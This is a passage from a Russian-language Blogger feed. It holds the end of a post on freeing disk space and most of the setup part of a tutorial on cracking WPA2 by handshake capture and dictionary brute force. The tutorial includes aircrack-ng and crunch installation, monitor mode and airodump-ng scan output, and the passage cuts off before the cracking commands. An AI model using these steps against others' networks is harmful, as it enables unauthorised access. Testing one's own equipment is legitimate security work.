&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://people.freebsd.org/~abe/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Lsof&quot;&gt;lsof&lt;/a&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-n&lt;/span&gt; -P &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; grep deleted &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; awk &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;{ print $1}&#39;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; sort &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; uniq
&lt;/b&gt; java
 mysqld
 nginx
 uwsgi
&lt;/pre&gt;
&lt;/blockquote&gt;
Теперь их стоит погасить&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Killall&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Killall&quot;&gt;killall&lt;/a&gt; java -&lt;span style=&quot;color: #c00000;&quot;&gt;9&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/mysql&lt;/span&gt; stop
&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/nginx&lt;/span&gt; stop
&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/uwsgi&lt;/span&gt; stop
&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
После чего выполните команду &lt;b&gt;sync&lt;/b&gt;&amp;nbsp;чтобы записать все изменения из буфера памяти на диск&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;sync
&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
И можете проверить что пространство на диске действительно высвободилось&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;df -h
&lt;/b&gt; Filesystem            Size  Used Avail Use% Mounted on
 &lt;span style=&quot;color: #40015a;&quot;&gt;/dev/sda1&lt;/span&gt;             &lt;span style=&quot;color: #c00000;&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;9G  &lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;1G  &lt;span style=&quot;color: #c00000;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;5G  &lt;span style=&quot;color: #c00000;&quot;&gt;28&lt;/span&gt;% /
 tmpfs                 502M     &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;  502M   &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;% &lt;span style=&quot;color: #40015a;&quot;&gt;/lib/init/rw&lt;/span&gt;
 udev                  497M  100K  497M   &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;% &lt;span style=&quot;color: #40015a;&quot;&gt;/dev&lt;/span&gt;
 tmpfs                 502M     &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;  502M   &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;% &lt;span style=&quot;color: #40015a;&quot;&gt;/dev/shm&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
Теперь можете запустить свои сервисы.&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=dc3575f4-25c8-4295-ad06-c93619d6e9a9&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/4896339059332085231/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/10/du-df.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/4896339059332085231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/4896339059332085231'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/10/du-df.html' title='Что делать если du и df выводят разные данные'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-6202447970279878147</id><published>2012-09-23T16:46:00.001+07:00</published><updated>2012-09-24T18:06:29.754+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Aircrack-ng"/><category scheme="http://www.blogger.com/atom/ns#" term="Crack"/><category scheme="http://www.blogger.com/atom/ns#" term="Debian"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="WEP"/><category scheme="http://www.blogger.com/atom/ns#" term="Wi-Fi"/><category scheme="http://www.blogger.com/atom/ns#" term="Wired Equivalent Privacy"/><category scheme="http://www.blogger.com/atom/ns#" term="WPA"/><category scheme="http://www.blogger.com/atom/ns#" term="WPA2"/><title type='text'>WEP/WPA/WPA2 - Тестируем на стойкость к проникновению своё оборудование</title><content type='html'>&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container zemanta-img&quot; style=&quot;float: right; margin-right: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;a href=&quot;http://en.wikipedia.org/wiki/File:Aircrack-ng-new-logo.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: clear:right;&quot;&gt;&lt;img alt=&quot;Aircrack-ng&quot; border=&quot;0&quot; class=&quot;zemanta-img-inserted&quot; height=&quot;110&quot; src=&quot;http://upload.wikimedia.org/wikipedia/en/c/c3/Aircrack-ng-new-logo.jpg&quot; style=&quot;border: none; font-size: 0.8em;&quot; width=&quot;226&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption zemanta-img-attribution&quot; style=&quot;text-align: center; width: 226px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #cc0000;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b style=&quot;color: #cc0000;&quot;&gt;Эта статья написана исключительно в обучающих целях, и её можно использовать для проверки устойчивости ко взлому только своего оборудования.&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
В наше время технология &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Wi-Fi&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Wi-Fi&quot;&gt;Wi-Fi&lt;/a&gt; стала очень распространена, в каждом жилом доме или офисе можно поймать 3 и более wi-fi сетей. Я уверен, что у вас тоже имеется несколько домашних или рабочих wi-fi точек. И все знают, или хотя бы слышали о том, что wi-fi уязвим, но насколько, и как проверить насколько уязвима ваша личная точка никто толком не знает. Чем собственно и пользуются недоброжелатели и охотники до халявы.&lt;br /&gt;
&lt;br /&gt;
В данной статье мы рассмотрим атаку на самый распространённый протокол безопасности WPA2(он же является самым надёжным на данный момент), и самый распространённый тип атаки - перебор по словарю(brute force).&lt;br /&gt;
&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: right;&quot;&gt;
Для этого в режиме мониторинга беспроводной карты сканируется эфир и 
записываются необходимые пакеты. Далее проводится деавторизация клиента 
для захвата начального обмена пакетами (&lt;b&gt;handshake&lt;/b&gt;), либо нужно ждать 
пока клиент совершит подключение. После этого уже нет необходимости 
находиться недалеко от атакуемой точки доступа. Атака проводится оффлайн
 с помощью специальной программы и файла с хэндшейком.(&lt;a href=&quot;http://ru.wikipedia.org/wiki/WPA#.D0.A3.D1.8F.D0.B7.D0.B2.D0.B8.D0.BC.D0.BE.D1.81.D1.82.D1.8C&quot; target=&quot;_blank&quot;&gt;Wikipedia&lt;/a&gt;) &lt;/div&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
В качестве атакующего ноутбука я использую &lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.lenovo.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Lenovo&quot;&gt;Lenovo&lt;/a&gt; G770&lt;/b&gt; с Wi-Fi адаптером &lt;b&gt;Atheros AR9285,&lt;/b&gt; драйвер &lt;b&gt;ath9k&lt;/b&gt; операционной системой &lt;b&gt;GNU/Linux &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.debian.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Debian&quot;&gt;Debian&lt;/a&gt; squeeze x86_64&lt;/b&gt; с подключенным репозитарием &lt;b&gt;squeeze-backports&lt;/b&gt;. В принципе подойдёт любой Debian/Ubuntu, главное чтобы был рабочий Wi-Fi драйвер.&lt;br /&gt;
&lt;br /&gt;
Для сбора трафика и анализа файла с хэндшейком нам потребуется &lt;b&gt;aircrack-ng&lt;/b&gt;, для генерации &lt;b&gt;word list&lt;/b&gt;&amp;nbsp;нам потребуется &lt;b&gt;crunch&lt;/b&gt;. &amp;nbsp; &lt;br /&gt;
&lt;h2&gt;



Итак, приступим.&lt;/h2&gt;
&lt;h3&gt;



Установим всё необходимое для сборки пакетов &lt;/h3&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;background: none repeat scroll 0% 0% rgb(241, 240, 240); color: black;&quot;&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://wiki.debian.org/Apt&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Advanced Packaging Tool&quot;&gt;apt-get&lt;/a&gt; update
apt-get install build-essential libssl-dev libsqlite-dev -y&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Приступим к установке &lt;b&gt;aircrack-ng&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;background: none repeat scroll 0% 0% rgb(241, 240, 240); color: black;&quot;&gt;&lt;b&gt;wget &lt;span style=&quot;color: #44aadd;&quot;&gt;-O&lt;/span&gt; aircrack-ng-&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Tar&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Tar&quot;&gt;tar&lt;/a&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;gz http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/download.aircrack-ng.org/aircrack-ng-1.1.tar.gz&lt;/span&gt;
tar xfv aircrack-ng-&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;tar&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;gz
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; aircrack-ng-&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
make 
make install
&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.aircrack-ng.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Aircrack-ng&quot;&gt;airodump-ng&lt;/a&gt;-oui-update&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Теперь поставим &lt;b&gt;crunch&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;background: none repeat scroll 0% 0% rgb(241, 240, 240); color: black;&quot;&gt;&lt;b&gt;wget &lt;span style=&quot;color: #44aadd;&quot;&gt;-O&lt;/span&gt; crunch-&lt;span style=&quot;color: #c00000;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;tgz &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;http:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/downloads.sourceforge.net/project/crunch-wordlist&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/crunch-wordlist/crunch-3.2.tgz&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcrunch-&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;wordlist%2Ffiles%2Fcrunch-wordlist%2F&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;1341152956&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;use_mirror&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;citylan&quot;&lt;/span&gt;
tar xfv crunch-&lt;span style=&quot;color: #c00000;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;tgz 
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; crunch3&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
make
make install
ln &lt;span style=&quot;color: #44aadd;&quot;&gt;-s&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/pentest/passwords/crunch/crunch&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.linuxfoundation.org/en/FHS&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Filesystem Hierarchy Standard&quot;&gt;/usr/sbin&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;h3&gt;



Платформу мы подготовили, приступим к атаке.&lt;/h3&gt;
Запустим &lt;b&gt;airmon-ng &lt;/b&gt;в режиме мониторинга вашей Wi-Fi карты.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;background: none repeat scroll 0% 0% rgb(241, 240, 240); color: black;&quot;&gt;&lt;b&gt;airmon-ng start wlan0&lt;/b&gt;


&lt;i&gt;Found &lt;span style=&quot;color: #c00000;&quot;&gt;5&lt;/span&gt; processes that could cause trouble&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;time&lt;/span&gt;, you may want to &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;kill&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;some of&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; them&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;!&lt;/span&gt;
&lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; 
PID    Name
&lt;span style=&quot;color: #c00000;&quot;&gt;1739&lt;/span&gt;    &lt;a class=&quot;zem_slink&quot; href=&quot;http://projects.gnome.org/NetworkManager/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;NetworkManager&quot;&gt;NetworkManager&lt;/a&gt;
&lt;span style=&quot;color: #c00000;&quot;&gt;1749&lt;/span&gt;    wpa_supplicant
&lt;span style=&quot;color: #c00000;&quot;&gt;1986&lt;/span&gt;    avahi-daemon
&lt;span style=&quot;color: #c00000;&quot;&gt;1987&lt;/span&gt;    avahi-&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Daemon_%28computing%29&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Daemon (computing)&quot;&gt;daemon
Process&lt;/a&gt; with PID &lt;span style=&quot;color: #c00000;&quot;&gt;3000&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;dhclient&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; is running on interface wlan0&lt;/i&gt;


Interface    Chipset        Driver

wlan0        &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.atheros.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Atheros Communications&quot;&gt;Atheros&lt;/a&gt;     ath9k - &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;phy0&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;SIOCSIFFLAGS&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; Name not unique on network

                &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Monitor_mode&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Monitor mode&quot;&gt;monitor mode&lt;/a&gt; enabled on mon0&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Если вы получили сообщение подобное тому, что я выделил курсивом, значит вам нужно остановить перечисленные там сервисы и запущенные программы, которые используют интерфейс wlan0.&lt;br /&gt;
В моём случае это будет выглядеть следующим образом:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/network-manager&lt;/span&gt; stop
&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/avahi-daemon&lt;/span&gt; stop
killall wpa_supplicant -&lt;span style=&quot;color: #c00000;&quot;&gt;9&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
При первом неудачном запуске у нас создался интерфейс &lt;b&gt;mon0,&lt;/b&gt; который для удобства лучше удалить.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;airmon-ng stop wlan0 
airmon-ng stop mon0&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Для поставленной задачи нам понадобится 3 терминальных окна с правами доступа ROOT.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;# Terminal 1&lt;/b&gt;&lt;br /&gt;
Создадим интерфейс mon0 для сканирования сети&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;airmon-ng start wlan0
&lt;/b&gt;
 Interface      Chipset         Driver  

 wlan0          Atheros         ath9k - &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;phy0&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
                        &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;b&gt;monitor mode enabled on mon0&lt;/b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
Приступим к сканированию. Сейчас нас интересуют сети у которых есть клиент, в данном случае моя собственная &lt;b&gt;AP&lt;/b&gt; с&amp;nbsp;&lt;b&gt;ESSID&amp;nbsp;home-privat&lt;/b&gt;. Для следующего шага нам нужно записать &lt;b&gt;BSSID&lt;/b&gt;(это мак адрес AP) и &lt;b&gt;CH&lt;/b&gt;(это сокращение&amp;nbsp;channel). Я их выделил жирным шрифтом. &amp;nbsp; &lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;airodump-ng mon0
&lt;/b&gt;
 CH  &lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt; ]&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; Elapsed: 16 s &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; 2012&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;09&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;23 11:07&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&lt;b&gt;00:21:91:7E:C9:C7&lt;/b&gt;  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;39       36        7    0   &lt;b&gt;6&lt;/b&gt;  54 . WPA2 TKIP   PSK  home&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;privat&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;00:24:01:24:5A:21  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;73       19        0    0   1  54e. WPA2 CCMP   PSK  SKYNET&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;54:E6:FC:9B:77:30  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;79       30        0    0   6  54 . WPA2 CCMP   PSK  TP&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;LINK&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;BSSID              STATION            PWR   Rate    Lost  Packets  Probes&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;(not associated)   00:15:AF:82:D8:37  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;84    0 &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; 1     11        3  SKYNET&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;(not associated)   00:1D:D9:15:A3:BD  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;87    0 &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; 1      7        8&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;nbsp;&lt;b&gt;00:21:91:7E:C9:C7&lt;/b&gt;  D4:20:6D:09:96:36  &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;58   18 &lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; 1     79       45  home&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;privat&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;b&gt;# Terminal 2&lt;/b&gt;&lt;br /&gt;
Теперь, когда мы слушаем весь трафик, &amp;nbsp;нам нужно выделить и сохранить в файл&amp;nbsp;&lt;b style=&quot;font-family: Georgia, &#39;Times New Roman&#39;, serif; text-align: right;&quot;&gt;handshake&lt;/b&gt;&amp;nbsp;запрос, чтобы потом с помощью брутфорса подобрать пароль.&lt;br /&gt;
Составим команду из известных нам данных:&lt;br /&gt;
&lt;ul&gt;
